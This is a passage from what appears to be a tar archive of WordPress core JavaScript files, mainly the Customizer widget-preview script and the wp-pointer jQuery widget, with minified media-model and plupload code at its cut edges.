t.set("menuOrder",e+=1),[t.id,e]}).object().value();if(!_.isEmpty(t))return wp.media.post("save-attachment-order",{nonce:wp.media.model.settings.post.nonce,post_id:wp.media.model.settings.post.id,attachments:t})}}},{comparator:function(t,e,i){var s=this.props.get("orderby"),r=this.props.get("order")||"DESC",n=t.cid,a=e.cid;return t=t.get(s),e=e.get(s),"date"!==s&&"modified"!==s||(t=t||new Date,e=e||new Date),i&&i.ties&&(n=a=null),"DESC"===r?wp.media.compare(t,e,n,a):wp.media.compare(e,t,a,n)},filters:{search:function(e){return!this.props.get("search")||_.any(["title","filename","description","caption","name"],function(t){t=e.get(t);return t&&-1!==t.search(this.props.get("search"))},this)},type:function(t){var e,i=this.props.get("type"),t=t.toJSON();return!(i&&(!_.isArray(i)||i.length))||(e=t.mime||t.file&&t.file.type||"",_.isArray(i)?_.find(i,function(t){return-1!==e.indexOf(t)}):-1!==e.indexOf(i))},uploadedTo:function(t){var e=this.props.get("uploadedTo");return!!_.isUndefined(e)||e===t.get("uploadedTo")},status:function(t){var e=this.props.get("status");return!!_.isUndefined(e)||e===t.get("status")}}});t.exports=n},9104:t=>{var e=Backbone.Model.extend({initialize:function(t){var e=wp.media.model.Attachment;this.attachment=!1,t.attachment_id&&(this.attachment=e.get(t.attachment_id),this.attachment.get("url")?(this.dfd=jQuery.Deferred(),this.dfd.resolve()):this.dfd=this.attachment.fetch(),this.bindAttachmentListeners()),this.on("change:link",this.updateLinkUrl,this),this.on("change:size",this.updateSize,this),this.setLinkTypeFromUrl(),this.setAspectRatio(),this.set("originalUrl",t.url)},bindAttachmentListeners:function(){this.listenTo(this.attachment,"sync",this.setLinkTypeFromUrl),this.listenTo(this.attachment,"sync",this.setAspectRatio),this.listenTo(this.attachment,"change",this.updateSize)},changeAttachment:function(t,e){this.stopListening(this.attachment),this.attachment=t,this.bindAttachmentListeners(),this.set("attachment_id",this.attachment.get("id")),this.set("caption",this.attachment.get("caption")),this.set("alt",this.attachment.get("alt")),this.set("size",e.get("size")),this.set("align",e.get("align")),this.set("link",e.get("link")),this.updateLinkUrl(),this.updateSize()},setLinkTypeFromUrl:function(){var t,e=this.get("linkUrl");e?(t="custom",this.attachment?this.attachment.get("url")===e?t="file":this.attachment.get("link")===e&&(t="post"):this.get("url")===e&&(t="file"),this.set("link",t)):this.set("link","none")},updateLinkUrl:function(){var t;switch(this.get("link")){case"file":t=(this.attachment||this).get("url"),this.set("linkUrl",t);break;case"post":this.set("linkUrl",this.attachment.get("link"));break;case"none":this.set("linkUrl","")}},updateSize:function(){var t;this.attachment&&("custom"===this.get("size")?(this.set("width",this.get("customWidth")),this.set("height",this.get("customHeight")),this.set("url",this.get("originalUrl"))):(t=this.attachment.get("sizes")[this.get("size")])&&(this.set("url",t.url),this.set("width",t.width),this.set("height",t.height)))},setAspectRatio:function(){var t;this.attachment&&this.attachment.get("sizes")&&(t=this.attachment.get("sizes").full)?this.set("aspectRatio",t.width/t.height):this.set("aspectRatio",this.get("customWidth")/this.get("customHeight"))}});t.exports=e}},n={};function a(t){var e=n[t];return void 0!==e||(e=n[t]={exports:{}},r[t](e,e.exports,a)),e.exports}window.wp=window.wp||{},s=wp.media=function(t){var e,i=s.view.MediaFrame;if(i)return"select"===(t=_.defaults(t||{},{frame:"select"})).frame&&i.Select?e=new i.Select(t):"post"===t.frame&&i.Post?e=new i.Post(t):"manage"===t.frame&&i.Manage?e=new i.Manage(t):"image"===t.frame&&i.ImageDetails?e=new i.ImageDetails(t):"audio"===t.frame&&i.AudioDetails?e=new i.AudioDetails(t):"video"===t.frame&&i.VideoDetails?e=new i.VideoDetails(t):"edit-attachments"===t.frame&&i.EditAttachments&&(e=new i.EditAttachments(t)),delete t.frame,s.frame=e},_.extend(s,{model:{},view:{},controller:{},frames:{}}),t=s.model.l10n=window._wpMediaModelsL10n||{},s.model.settings=t.settings||{},delete t.settings,e=s.model.Attachment=a(3343),i=s.model.Attachments=a(8266),s.model.Query=a(1288),s.model.PostImage=a(9104),s.model.Selection=a(4134),s.compare=function(t,e,i,s){return _.isEqual(t,e)?i===s?0:s<i?-1:1:e<t?-1:1},_.extend(s,{template:wp.template,post:wp.ajax.post,ajax:wp.ajax.send,fit:function(t){var e,i=t.width,s=t.height,r=t.maxWidth,t=t.maxHeight;return _.isUndefined(r)||_.isUndefined(t)?_.isUndefined(t)?e="width":_.isUndefined(r)&&t<s&&(e="height"):e=r/t<i/s?"width":"height","width"===e&&r<i?{width:r,height:Math.round(r*s/i)}:"height"===e&&t<s?{width:Math.round(t*i/s),height:t}:{width:i,height:s}},truncate:function(t,e,i){return i=i||"…",t.length<=(e=e||30)?t:t.substr(0,e/2)+i+t.substr(-1*e/2)}}),s.attachment=function(t){return e.get(t)},i.all=new i,s.query=function(t){return new i(null,{props:_.extend(_.defaults(t||{},{orderby:"date"}),{query:!0})})}})(); customize-preview-widgets.js 0000644 00000055325 15111757753 0012275 0 ustar 00 /** * @output wp-includes/js/customize-preview-widgets.js */ /* global _wpWidgetCustomizerPreviewSettings */ /** * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets. * * @since 4.5.0 * * @namespace wp.customize.widgetsPreview * * @param {jQuery} $ The jQuery object. * @param {Object} _ The utilities library. * @param {Object} wp Current WordPress environment instance. * @param {Object} api Information from the API. * * @return {Object} Widget-related variables. */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Initializes the widgets preview. * * @since 4.5.0 * * @memberOf wp.customize.widgetsPreview * * @return {void} */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Represents a partial widget instance. * * @since 4.5.0 * * @constructs * @augments wp.customize.selectiveRefresh.Partial * * @alias wp.customize.widgetsPreview.WidgetPartial * @memberOf wp.customize.widgetsPreview * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's * instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refreshes the widget partial. * * @since 4.5.0 * * @return {Promise|void} Either a promise postponing the refresh, or void. */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Sends the widget-updated message to the parent so the spinner will get * removed from the widget control. * * @inheritDoc * @param {wp.customize.selectiveRefresh.Placement} placement The placement * function. * * @return {void} */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Represents a partial widget area. * * @since 4.5.0 * * @class * @augments wp.customize.selectiveRefresh.Partial * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Sets up the partial. * * @since 4.5.0 * * @return {void} */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Gets the before/after boundary nodes for all instances of this sidebar * (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>} * An array with an object for each sidebar instance, containing the * node before and after the sidebar instance and its instance number. */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Gets the placements for this partial. * * @since 4.5.0 * * @return {Array} An array containing placement objects for each of the * dynamic sidebar boundary nodes. */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @throws {Error} If there's no settingId. * @throws {Error} If the setting doesn't exist in the API. * @throws {Error} If the API doesn't pass an array of widget IDs. * * @return {Array} A shallow copy of the array containing widget IDs. */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflows widgets in the sidebar, ensuring they have the proper position in the * DOM. * * @since 4.5.0 * * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements * that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Makes sure there is a widget instance container in this sidebar for the given * widget ID. * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handles changes to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget IDs. * @param {Array} oldWidgetIds Old widget IDs. * * @return {void} */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Refreshes the sidebar partial. * * Note that the meat is handled in handleSettingChange because it has the * context of which widgets were removed. * * @since 4.5.0 * * @return {Promise} A promise postponing the refresh. */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Adds partials for the registered widget areas (sidebars). * * @since 4.5.0 * * @return {void} */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculates the selector for the sidebar's widgets based on the registered * sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlights the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. * * @return {void} */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Shows a title and highlights widgets on hover. On shift+clicking focuses the * widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); // Highlights widget when entering the widget editor. $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element. $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parses a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {{idBase: string, number: number|null}} An object containing the idBase * and number of the parsed widget ID. */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parses a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase * and number of the parsed widget setting ID, * or null. */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Converts a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {string} The setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize ); wp-pointer.min.js 0000644 00000007045 15111757753 0010012 0 ustar 00 /*! This file is auto-generated */ !function(o){var i=0,e=9999;o.widget("wp.pointer",{options:{pointerClass:"wp-pointer",pointerWidth:320,content:function(){return o(this).text()},buttons:function(t,i){return o('<a class="close" href="#"></a>').text(wp.i18n.__("Dismiss")).on("click.pointer",function(t){t.preventDefault(),i.element.pointer("close")})},position:"top",show:function(t,i){i.pointer.show(),i.opened()},hide:function(t,i){i.pointer.hide(),i.closed()},document:document},_create:function(){var t;this.content=o('<div class="wp-pointer-content"></div>'),this.arrow=o('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>'),t="absolute",this.element.parents().add(this.element).filter(function(){return"fixed"===o(this).css("position")}).length&&(t="fixed"),this.pointer=o("<div />").append(this.content).append(this.arrow).attr("id","wp-pointer-"+i++).addClass(this.options.pointerClass).css({position:t,width:this.options.pointerWidth+"px",display:"none"}).appendTo(this.options.document.body)},_setOption:function(t,i){var e=this.options,n=this.pointer;"document"===t&&i!==e.document?n.detach().appendTo(i.body):"pointerClass"===t&&n.removeClass(e.pointerClass).addClass(i),o.Widget.prototype._setOption.apply(this,arguments),"position"===t?this.reposition():"content"===t&&this.active&&this.update()},destroy:function(){this.pointer.remove(),o.Widget.prototype.destroy.call(this)},widget:function(){return this.pointer},update:function(i){var e=this,t=this.options,n=o.Deferred();if(!t.disabled)return n.done(function(t){e._update(i,t)}),(t="string"==typeof t.content?t.content:t.content.call(this.element[0],n.resolve,i,this._handoff()))&&n.resolve(t),n.promise()},_update:function(t,i){var e=this.options;i&&(this.pointer.stop(),this.content.html(i),(i=e.buttons.call(this.element[0],t,this._handoff()))&&i.wrap('<div class="wp-pointer-buttons" />').parent().appendTo(this.content),this.reposition())},reposition:function(){var t;this.options.disabled||(t=this._processPosition(this.options.position),this.pointer.css({top:0,left:0,zIndex:e++}).show().position(o.extend({of:this.element,collision:"fit none"},t)),this.repoint())},repoint:function(){var t=this.options;t.disabled||(t="string"==typeof t.position?t.position:t.position.edge,this.pointer[0].className=this.pointer[0].className.replace(/wp-pointer-[^\s'"]*/,""),this.pointer.addClass("wp-pointer-"+t))},_processPosition:function(t){var i={top:"bottom",bottom:"top",left:"right",right:"left"},t="string"==typeof t?{edge:t+""}:o.extend({},t);return t.edge&&("top"==t.edge||"bottom"==t.edge?(t.align=t.align||"left",t.at=t.at||t.align+" "+i[t.edge],t.my=t.my||t.align+" "+t.edge):(t.align=t.align||"top",t.at=t.at||i[t.edge]+" "+t.align,t.my=t.my||t.edge+" "+t.align)),t},open:function(t){var i=this,e=this.options;this.active||e.disabled||this.element.is(":hidden")||this.update().done(function(){i._open(t)})},_open:function(t){var i=this,e=this.options;this.active||e.disabled||this.element.is(":hidden")||(this.active=!0,this._trigger("open",t,this._handoff()),this._trigger("show",t,this._handoff({opened:function(){i._trigger("opened",t,i._handoff())}})))},close:function(t){var i;this.active&&!this.options.disabled&&((i=this).active=!1,this._trigger("close",t,this._handoff()),this._trigger("hide",t,this._handoff({closed:function(){i._trigger("closed",t,i._handoff())}})))},sendToTop:function(){this.active&&this.pointer.css("z-index",e++)},toggle:function(t){this.pointer.is(":hidden")?this.open(t):this.close(t)},_handoff:function(t){return o.extend({pointer:this.pointer,element:this.element},t)}})}(jQuery); plupload/moxie.min.js 0000644 00000252542 15111757753 0010653 0 ustar 00 var MXI_DEBUG=!1;!function(o,x){"use strict";var s={};function n(e,t){for(var i,n=[],r=0;r<e.length;++r){if(!(i=s[e[r]]||function(e){for(var t=o,i=e.split(/[.\/]/),n=0;n<i.length;++n){if(!t[i[n]])return;t=t[i[n]]}return t}(e[r])))throw"module definition dependecy not found: "+e[r];n.push(i)}t.apply(null,n)}function e(e,t,i){if("string"!=typeof e)throw"invalid module definition, module id must be defined and be a string";if(t===x)throw"invalid module definition, dependencies must be specified";if(i===x)throw"invalid module definition, definition function must be specified";n(t,function(){s[e]=i.apply(null,arguments)})}e("moxie/core/utils/Basic",[],function(){function n(i){return s(arguments,function(e,t){0<t&&s(e,function(e,t){void 0!==e&&(o(i[t])===o(e)&&~r(o(e),["array","object"])?n(i[t],e):i[t]=e)})}),i}function s(e,t){var i,n,r;if(e)if("number"===o(e.length)){for(r=0,i=e.length;r<i;r++)if(!1===t(e[r],r))return}else if("object"===o(e))for(n in e)if(e.hasOwnProperty(n)&&!1===t(e[n],n))return}function r(e,t){if(t){if(Array.prototype.indexOf)return Array.prototype.indexOf.call(t,e);for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i}return-1}var o=function(e){return void 0===e?"undefined":null===e?"null":e.nodeType?"node":{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()};a=0;var a;return{guid:function(e){for(var t=(new Date).getTime().toString(32),i=0;i<5;i++)t+=Math.floor(65535*Math.random()).toString(32);return(e||"o_")+t+(a++).toString(32)},typeOf:o,extend:n,each:s,isEmptyObj:function(e){if(e&&"object"===o(e))for(var t in e)return!1;return!0},inSeries:function(e,n){var r=e.length;"function"!==o(n)&&(n=function(){}),e&&e.length||n(),function t(i){"function"===o(e[i])&&e[i](function(e){++i<r&&!e?t(i):n(e)})}(0)},inParallel:function(e,i){var n=0,r=e.length,o=new Array(r);s(e,function(e,t){e(function(e){if(e)return i(e);e=[].slice.call(arguments);e.shift(),o[t]=e,++n===r&&(o.unshift(null),i.apply(this,o))})})},inArray:r,arrayDiff:function(e,t){var i,n=[];for(i in"array"!==o(e)&&(e=[e]),"array"!==o(t)&&(t=[t]),e)-1===r(e[i],t)&&n.push(e[i]);return!!n.length&&n},arrayIntersect:function(e,t){var i=[];return s(e,function(e){-1!==r(e,t)&&i.push(e)}),i.length?i:null},toArray:function(e){for(var t=[],i=0;i<e.length;i++)t[i]=e[i];return t},trim:function(e){return e&&(String.prototype.trim?String.prototype.trim.call(e):e.toString().replace(/^\s*/,"").replace(/\s*$/,""))},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==o(e)?e:""})},parseSizeStr:function(e){var t,i;return"string"!=typeof 